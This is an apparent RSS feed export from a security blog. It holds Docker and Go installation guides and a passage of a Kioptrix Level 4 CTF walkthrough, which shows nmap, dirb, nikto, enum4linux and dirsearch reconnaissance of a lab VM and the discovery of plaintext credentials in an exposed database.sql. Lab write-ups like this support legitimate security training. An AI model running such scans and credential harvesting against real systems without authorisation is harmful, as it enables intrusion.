<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-8241002864620236041</atom:id><lastBuildDate>Fri, 01 Nov 2024 10:38:22 +0000</lastBuildDate><category>info-Sec</category><category>Exploitation</category><category>Web-Hacking</category><category>Pentesting</category><category>Linux</category><category>How-To</category><category>Web-Exploitation</category><category>Web-Server</category><category>Ubuntu</category><category>kali-linux</category><category>Coding</category><category>Networking</category><category>Windows</category><category>CMD</category><category>HTTP</category><category>Metasploit-framework</category><category>Tools &amp; Scripts</category><category>XSS</category><category>CTF</category><category>Linux Tools</category><category>Python</category><category>SQL Injection</category><category>Shell_Scripting</category><category>Virtualization</category><category>batch_Scripting</category><category>Downloads</category><category>File-Sharing</category><category>Operating-System</category><category>VulnHub</category><category>Metasploitable2</category><category>SSH</category><category>CSRF</category><category>File-Upload-Vulnerability</category><category>LFI</category><category>kioptrix</category><category>Buffer_Overflow</category><category>Password-Cracking</category><category>XXE</category><category>bruteforce</category><category>gdb</category><category>vim</category><category>RFI</category><category>Shellcode</category><category>vim-plugin</category><category>vimrc</category><category>ARP</category><category>Backdoors</category><category>Base64</category><category>Privilege-Escalation</category><category>Sniffing</category><category>VB.net</category><category>VBscript</category><category>tmux</category><category>virus</category><title>Sec-Art</title><description>A bit about computers and Info-Sec things</description><link>http://sec-articles.blogspot.com/</link><managingEditor>noreply@blogger.com (Unknown)</managingEditor><generator>Blogger</generator><openSearch:totalResults>123</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-4934439328586673328</guid><pubDate>Sat, 21 Nov 2020 17:13:00 +0000</pubDate><atom:updated>2020-11-26T05:07:41.843-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Linux</category><category domain="http://www.blogger.com/atom/ns#">Linux Tools</category><category domain="http://www.blogger.com/atom/ns#">Virtualization</category><title>Install docker on Linux (Ubunutu 20 LTS)</title><description>&lt;p&gt;Docker provides the ability to package and run an application in a loosely isolated environment called a container. The isolation and security allow you to run many containers simultaneously on a given host. Containers are lightweight because they don’t need the extra load of a hypervisor, but run directly within the host machine’s kernel.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix_kmIWQn7dxyspNNtL9UdjUsw9fmcWsm70YMj-X7YbG2VKRAIk__LTvOg5NMyA03nQl4LM4KI4cOZLz24IMoWnmkH-AztxHMBJ3DPc4PQ-pUkBB1HDvRfOmYHIkDA1E_eihjgPwhfJMU/s277/DockerInstallation.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;185&quot; data-original-width=&quot;277&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix_kmIWQn7dxyspNNtL9UdjUsw9fmcWsm70YMj-X7YbG2VKRAIk__LTvOg5NMyA03nQl4LM4KI4cOZLz24IMoWnmkH-AztxHMBJ3DPc4PQ-pUkBB1HDvRfOmYHIkDA1E_eihjgPwhfJMU/s0/DockerInstallation.png&quot; style=&quot;display: none;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Docker installation steps :&lt;/strong&gt;    &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;First update the system  &lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;sudo apt update  &lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Install prerequisite packages which let apt use packages over HTTPS  &lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;sudo apt install apt-transport-https \
    ca-certificates curl \
    software-properties-common  &lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Add official GPG keys &lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \
    sudo apt-key add -  &lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Add the docker repository  &lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;sudo add-apt-repository \
    &quot;deb [arch=amd64] \
    https://download.docker.com/linux/ubuntu focal stable&quot;  &lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Update newly added repository  &lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;sudo apt update  &lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now installing docker engine &lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;sudo apt-get install docker-ce docker-ce-cli containerd.io&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Add the docker daemon to run on startup   &lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;sudo systemctl status docker  &lt;/pre&gt;
&lt;p&gt;The output will look like this &lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVgRL3T2oZ-o84j0lhbpPVKBjih4LW1L51e3Vj1MqbBRu6dXqILJej4wAPK4t6JqCZIRf-KauT7eYtUU8459PLeV4CfpVLwS-aDa-aIRi25Gexv2nMnmmwfZoPukZaxlsEvOK_g11mQGU/s807/sc2.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;389&quot; data-original-width=&quot;807&quot; height=&quot;309&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVgRL3T2oZ-o84j0lhbpPVKBjih4LW1L51e3Vj1MqbBRu6dXqILJej4wAPK4t6JqCZIRf-KauT7eYtUU8459PLeV4CfpVLwS-aDa-aIRi25Gexv2nMnmmwfZoPukZaxlsEvOK_g11mQGU/w640-h309/sc2.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Testing the docker engine  &lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;sudo docker run hello-world&lt;/pre&gt;
&lt;p&gt;Output :   &lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;Unable to find image &#39;hello-world:latest&#39; locally
latest: Pulling from library/hello-world
0e03bdcc26d7: Pull complete
Digest: sha256:e7c70bb24b462baa86c102610182e3efcb12a04854e8c582838d92970a09f323
Status: Downloaded newer image for hello-world:latest

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:
 1. The Docker client contacted the Docker daemon.
 2. The Docker daemon pulled the &quot;hello-world&quot; image from the Docker Hub.
    (amd64)
 3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
 4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
 $ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
 https://hub.docker.com/

For more examples and ideas, visit:
 https://docs.docker.com/get-started/&lt;/pre&gt;
&lt;p&gt;This command downloads a test image and runs it in a container. When the container runs, it prints an informational message and exits.   &lt;/p&gt;
&lt;h2 id=&quot;runnning-the-docker-command-without-sudo-&quot;&gt;Runnning the docker command without &lt;code&gt;sudo&lt;/code&gt; :&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;First Add your username into the docker group  &lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;sudo usermod -aG docker ${USER}&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Now to apply the changes login to the user and confirm that user will be added to the docker group by  &lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;su - ${USER}&lt;/pre&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;id -nG&lt;/pre&gt;
&lt;p&gt;Thats it, now Log-out and re-login then run below command  &lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;docker run hello-world&lt;/pre&gt;
</description><link>http://sec-articles.blogspot.com/2020/11/install-docker-on-linux-ubunutu-20-lts.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix_kmIWQn7dxyspNNtL9UdjUsw9fmcWsm70YMj-X7YbG2VKRAIk__LTvOg5NMyA03nQl4LM4KI4cOZLz24IMoWnmkH-AztxHMBJ3DPc4PQ-pUkBB1HDvRfOmYHIkDA1E_eihjgPwhfJMU/s72-c/DockerInstallation.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-4998353485622816913</guid><pubDate>Tue, 27 Oct 2020 04:15:00 +0000</pubDate><atom:updated>2020-10-26T21:15:36.040-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Coding</category><category domain="http://www.blogger.com/atom/ns#">How-To</category><category domain="http://www.blogger.com/atom/ns#">Linux Tools</category><category domain="http://www.blogger.com/atom/ns#">Ubuntu</category><title>Install GO in UNIX/LINUX Environment</title><description>&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwGOPxxn6T4vJzy4EAFuYxzWKEbjQVDdkKtMiaEwsix1khZKA6UZwCy2gHRsSZ3GcSI8MxVnQw9bNAmKu_S4XNQhTj1cCrdUVl2DHuz8R_T7QaLpTYcX_gp20RjA9V0nTBHn2sfWhnVJg/s339/screenshot.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;145&quot; data-original-width=&quot;339&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwGOPxxn6T4vJzy4EAFuYxzWKEbjQVDdkKtMiaEwsix1khZKA6UZwCy2gHRsSZ3GcSI8MxVnQw9bNAmKu_S4XNQhTj1cCrdUVl2DHuz8R_T7QaLpTYcX_gp20RjA9V0nTBHn2sfWhnVJg/s320/screenshot.png&quot; width=&quot;320&quot; style=&quot;display: none;&quot;/&gt;&lt;/a&gt;&lt;/div&gt;Go is a statically typed, compiled programming language designed at Google by Robert Griesemer, Rob Pike, and Ken Thompson. Follow the below steps to install it on you Linux/Unix Box :  &lt;p&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download it from &lt;a href=&quot;https://golang.org/dl/&quot;&gt;https://golang.org/dl/&lt;/a&gt;   &lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;$ curl -sSL https://golang.org/dl/goX.XX.X.linux-amd64.tar.gz -o goX.XX.X.linux-amd64.tar.gz&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;replace the X.XX.X with current version.   &lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Extract the downloaded file to &lt;code&gt;/usr/local&lt;/code&gt;  &lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;$ sudo tar -C /usr/local -xzf goX.XX.X.linux-amd64.tar.gz&lt;/pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Add the path &lt;code&gt;/usr/local/go/bin&lt;/code&gt; to the environment variable, and for that just add the below lines to your .bashrc file, which is located on your home directory &lt;code&gt;~/.bashrc&lt;/code&gt;. Add below lines &lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;export GOROOT=/usr/local/go
export GOPATH=$HOME/go
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH&lt;/pre&gt;
&lt;p&gt;and now you are good to &lt;strong&gt;GO&lt;/strong&gt; {he he !!}. Test the setup with  &lt;code&gt;go version&lt;/code&gt;  &lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;$ go version  
go version go1.15.3 linux/amd64&lt;/pre&gt;
&lt;p&gt;thats it. &lt;/p&gt;
&lt;br /&gt;</description><link>http://sec-articles.blogspot.com/2020/10/install-go-in-unixlinux-environment.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwGOPxxn6T4vJzy4EAFuYxzWKEbjQVDdkKtMiaEwsix1khZKA6UZwCy2gHRsSZ3GcSI8MxVnQw9bNAmKu_S4XNQhTj1cCrdUVl2DHuz8R_T7QaLpTYcX_gp20RjA9V0nTBHn2sfWhnVJg/s72-c/screenshot.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-7639384010207778101</guid><pubDate>Thu, 11 Jun 2020 07:36:00 +0000</pubDate><atom:updated>2020-06-11T00:36:04.424-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">CTF</category><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">kali-linux</category><category domain="http://www.blogger.com/atom/ns#">kioptrix</category><category domain="http://www.blogger.com/atom/ns#">Metasploit-framework</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">VulnHub</category><title>Kioptrix: Level 1.3 (#4) CTF VM WalkThrough</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b&gt;VM : Kioptrix Level 1.3 (#4)&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVQXLFHnM2p5mCp706Pe0LjLYvhX8ojQNEhaR8WD0kNcJ1wB8EZAKT4ABrlnC9cGr3LIvlaX10qBzx2pqPy0IJSIZbYaLtWVJcgIwa8WQ-tpNnUb7bNvr4Q_iefEq-Vdnr57272QUeUik/s1600/scX.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;305&quot; data-original-width=&quot;521&quot; height=&quot;187&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVQXLFHnM2p5mCp706Pe0LjLYvhX8ojQNEhaR8WD0kNcJ1wB8EZAKT4ABrlnC9cGr3LIvlaX10qBzx2pqPy0IJSIZbYaLtWVJcgIwa8WQ-tpNnUb7bNvr4Q_iefEq-Vdnr57272QUeUik/s320/scX.png&quot; style=&quot;display: none;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Download link : &lt;a href=&quot;https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar&quot;&gt;https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
VM HOST : VMware Workstation/Player&lt;br /&gt;
Network : Briged mode with DHCP&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Scanning Network to identify running vm :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nmap -sP 192.168.1.0/24 

Starting Nmap 7.60 ( https://nmap.org ) at 2020-05-15 08:12 UTC
Nmap scan report for _gateway (192.168.1.1)
Host is up (0.0028s latency).
Nmap scan report for 192.168.1.3
Host is up (0.0021s latency).
Nmap scan report for 192.168.1.6
Host is up (0.076s latency).
Nmap scan report for 192.168.1.8
Host is up (0.0021s latency).
Nmap scan report for 192.168.1.12
Host is up (0.010s latency).
Nmap scan report for avm (192.168.1.14)
Host is up (0.00067s latency).
Nmap scan report for 192.168.1.15
Host is up (0.075s latency).
Nmap scan report for 192.168.1.100
Host is up (0.0024s latency).
Nmap done: 256 IP addresses (8 hosts up) scanned in 3.03 seconds
&lt;/code&gt;&lt;/pre&gt;
TargetVM IP : 192.168.1.15&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Scanning Target :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nmap -A -Pn 192.168.1.15 -oN nmap.scan
 
 # Nmap 7.60 scan initiated Fri May 15 08:22:12 2020 as: nmap -A -Pn -oN nmap.scan 192.168.1.15
 Nmap scan report for 192.168.1.15
 Host is up (0.017s latency).
 Not shown: 566 closed ports, 430 filtered ports
 PORT    STATE SERVICE     VERSION
 22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
 | ssh-hostkey:
 |   1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
 |_  2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
 80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
 |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
 |_http-title: Site doesn&#39;t have a title (text/html).
 139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 445/tcp open  netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
 Host script results:
 |_clock-skew: mean: -24d02h55m48s, deviation: 0s, median: -24d02h55m48s
 |_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: &amp;lt;unknown&amp;gt; (unknown)
 | smb-os-discovery:
 |   OS: Unix (Samba 3.0.28a)
 |   Computer name: Kioptrix4
 |   NetBIOS computer name:
 |   Domain name: localdomain
 |   FQDN: Kioptrix4.localdomain
 |_  System time: 2020-04-21T01:28:29-04:00
 | smb-security-mode:
 |   account_used: guest
 |   authentication_level: user
 |   challenge_response: supported
 |_  message_signing: disabled (dangerous, but default)
 |_smb2-time: Protocol negotiation failed (SMB2)
 
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 # Nmap done at Fri May 15 08:24:19 2020 -- 1 IP address (1 host up) scanned in 127.09 seconds
&lt;/code&gt;&lt;/pre&gt;
Findings : Apache web server is running on port 80, OpenSSH on port 22&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhocDhZxL3ko_qxwR4WPNtIFqEF0ZoAixVYX6im3Z2-U39Wb8VIw1I9UPctkdwEdsWAFWzJa84cRFr43ZciLN0NbgreR0-Y_g7hlZUtTzSNNzpaaxZsJFGG7tGpUG8oY4VeYV9uOH5wBms/s1600/sc1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;435&quot; data-original-width=&quot;537&quot; height=&quot;322&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhocDhZxL3ko_qxwR4WPNtIFqEF0ZoAixVYX6im3Z2-U39Wb8VIw1I9UPctkdwEdsWAFWzJa84cRFr43ZciLN0NbgreR0-Y_g7hlZUtTzSNNzpaaxZsJFGG7tGpUG8oY4VeYV9uOH5wBms/s400/sc1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Scanning web server with dirb&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ dirb http://192.168.1.15 | tee dirb.sacn
 
 -----------------
 DIRB v2.22
 By The Dark Raver
 -----------------
 
 START_TIME: Fri May 15 08:40:56 2020
 URL_BASE: http://192.168.1.15/
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
 
 -----------------
 
 GENERATED WORDS: 4612
 
 ---- Scanning URL: http://192.168.1.15/ ----
 + http://192.168.1.15/cgi-bin/ (CODE:403|SIZE:327)                                                      
 ==&amp;gt; DIRECTORY: http://192.168.1.15/images/                                                              
 + http://192.168.1.15/index (CODE:200|SIZE:1255)                                                        
 + http://192.168.1.15/index.php (CODE:200|SIZE:1255)                                                    
 ==&amp;gt; DIRECTORY: http://192.168.1.15/john/                                                                
 + http://192.168.1.15/logout (CODE:302|SIZE:0)                                                          
 + http://192.168.1.15/member (CODE:302|SIZE:220)                                                        
 + http://192.168.1.15/server-status (CODE:403|SIZE:332)                                                 
 
 
 ---- Entering directory: http://192.168.1.15/images/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.
     (Use mode &#39;-w&#39; if you want to scan it anyway)
 
 
 ---- Entering directory: http://192.168.1.15/john/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.
     (Use mode &#39;-w&#39; if you want to scan it anyway)
 
 -----------------
 END_TIME: Fri May 15 08:41:15 2020
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;Nikto&lt;/b&gt; Scan :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nikto -host 192.168.1.15 | tee nikto.scan
 - Nikto v2.1.5
 ---------------------------------------------------------------------------
 + Target IP:          192.168.1.15
 + Target Hostname:    192.168.1.15
 + Target Port:        80
 + Start Time:         2020-05-15 08:44:06 (GMT0)
 ---------------------------------------------------------------------------
 + Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
 + Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.6
 + The anti-clickjacking X-Frame-Options header is not present.
 + PHP/5.2.4-2ubuntu5.6 appears to be outdated (current is at least 5.4.4)
 + Apache/2.2.8 appears to be outdated (current is at least Apache/2.2.22). Apache 1.3.42 (final release) and 2.0.64 are also current.
 + DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
 + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
 + OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
 + OSVDB-3268: /icons/: Directory indexing found.
 + OSVDB-3268: /images/: Directory indexing found.
 + OSVDB-3268: /images/?pattern=/etc/*&amp;amp;sort=name: Directory indexing found.
 + Server leaks inodes via ETags, header found with file /icons/README, inode: 98933, size: 5108, mtime: 0x438c0358aae80
 + OSVDB-3233: /icons/README: Apache default file found.
 + Cookie PHPSESSID created without the httponly flag
 + 6544 items checked: 0 error(s) and 13 item(s) reported on remote host
 + End Time:           2020-05-15 08:44:46 (GMT0) (40 seconds)
 ---------------------------------------------------------------------------
 + 1 host(s) tested&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;OS Enumeration with enum4linx :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ enum4linux.pl 192.168.1.15 | tee enum4linx.scan
 WARNING: polenum.py is not in your path.  Check that package is installed and your PATH is sane.        
 WARNING: ldapsearch is not in your path.  Check that package is installed and your PATH is sane.        
 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri May 15 09:35:46 2020
 
 
  ==========================                                                                             
 |    Target Information    |                                                                            
  ==========================                                                                             
 Target ........... 192.168.1.15                                                                         
 RID Range ........ 500-550,1000-1050                                                                    
 Username ......... &#39;&#39;                                                                                   
 Password ......... &#39;&#39;                                                                                   
 Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
 ...............
 ...............
 S-1-22-1-1001 Unix User\john (Local User)
 S-1-22-1-1002 Unix User\robert (Local User)
 
  =============================================
 |    Getting printer info for 192.168.1.15    |
  =============================================
 mkdir failed on directory /var/run/samba/msg.lock: Permission denied
 No printers returned.
 enum4linux complete on Fri May 15 09:37:03 2020
&lt;/code&gt;&lt;/pre&gt;
filtering user accounts information from above scan&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ cat enum4linx.scan | grep Account
 index: 0x1 RID: 0x1f5 acb: 0x00000010 Account: nobody   Name: nobody    Desc: (null)
 index: 0x2 RID: 0xbbc acb: 0x00000010 Account: robert   Name: ,,,       Desc: (null)
 index: 0x3 RID: 0x3e8 acb: 0x00000010 Account: root     Name: root      Desc: (null)
 index: 0x4 RID: 0xbba acb: 0x00000010 Account: john     Name: ,,,       Desc: (null)
 index: 0x5 RID: 0xbb8 acb: 0x00000010 Account: loneferret       Name: loneferret,,,     Desc: (null)
 S-1-5-32-548 BUILTIN\Account Operators (Local Group)
&lt;/code&gt;&lt;/pre&gt;
users found : robert, root, john, loneferret&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Scan with dirsearch :&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ dirsearch.py -u http://192.168.1.15 -e php,asp,aspx,jsp,html,zip,jar,sql --plain-text-report=
 
  _|. _ _  _  _  _ _|_    v0.3.
 (_||| _) (/_(_|| (_| )                                                                                                                                                                                          
 Extensions: php, asp, aspx, jsp, html, zip, jar, sql | HTTP method: get | Threads: 10 | Wordlist size: 8679                                                                                                     
 Error Log: /home/ajay/tools/dirsearch/logs/errors-20-05-15_08-47-32.log                                                                                                                                         
 Target: http://192.168.1.15                                                                                                                                                                                     
 [08:47:32] Starting:
 [08:47:38] 403 -  323B  - /.hta                                                                                         [08:47:38] 403 -  330B  - /.ht_wsr.txt
 .....
 .....
 [08:49:57] 302 -  220B  - /member/login.html  -&amp;gt;  index.php
 [08:49:57] 302 -  220B  - /member/login.jar  -&amp;gt;  index.php
 [08:49:57] 302 -  220B  - /member/login.sql  -&amp;gt;  index.php
 [08:49:57] 302 -  220B  - /member/login.py  -&amp;gt;  index.php
 [08:49:57] 302 -  220B  - /member/login.rb  -&amp;gt;  index.php
 [08:49:57] 302 -  220B  - /member/logon  -&amp;gt;  index.php
 [08:49:57] 302 -  220B  - /member/signin  -&amp;gt;  index.php
 [08:50:31] 403 -  333B  - /server-status/
 [08:50:31] 403 -  332B  - /server-status
 
 Task Completed
&lt;/code&gt;&lt;/pre&gt;
Filtering the output&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ cat dirsearchReport | grep 200
 
 200   109B   http://192.168.1.15:80/checklogin.php
 200   109B   http://192.168.1.15:80/checklogin
 200   298B   http://192.168.1.15:80/database.sql
 200     1KB  http://192.168.1.15:80/index
 200     1KB  http://192.168.1.15:80/index.php
 200     1KB  http://192.168.1.15:80/index.php/login/
&lt;/code&gt;&lt;/pre&gt;
There is database.sql on the server with username `john/1234`&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
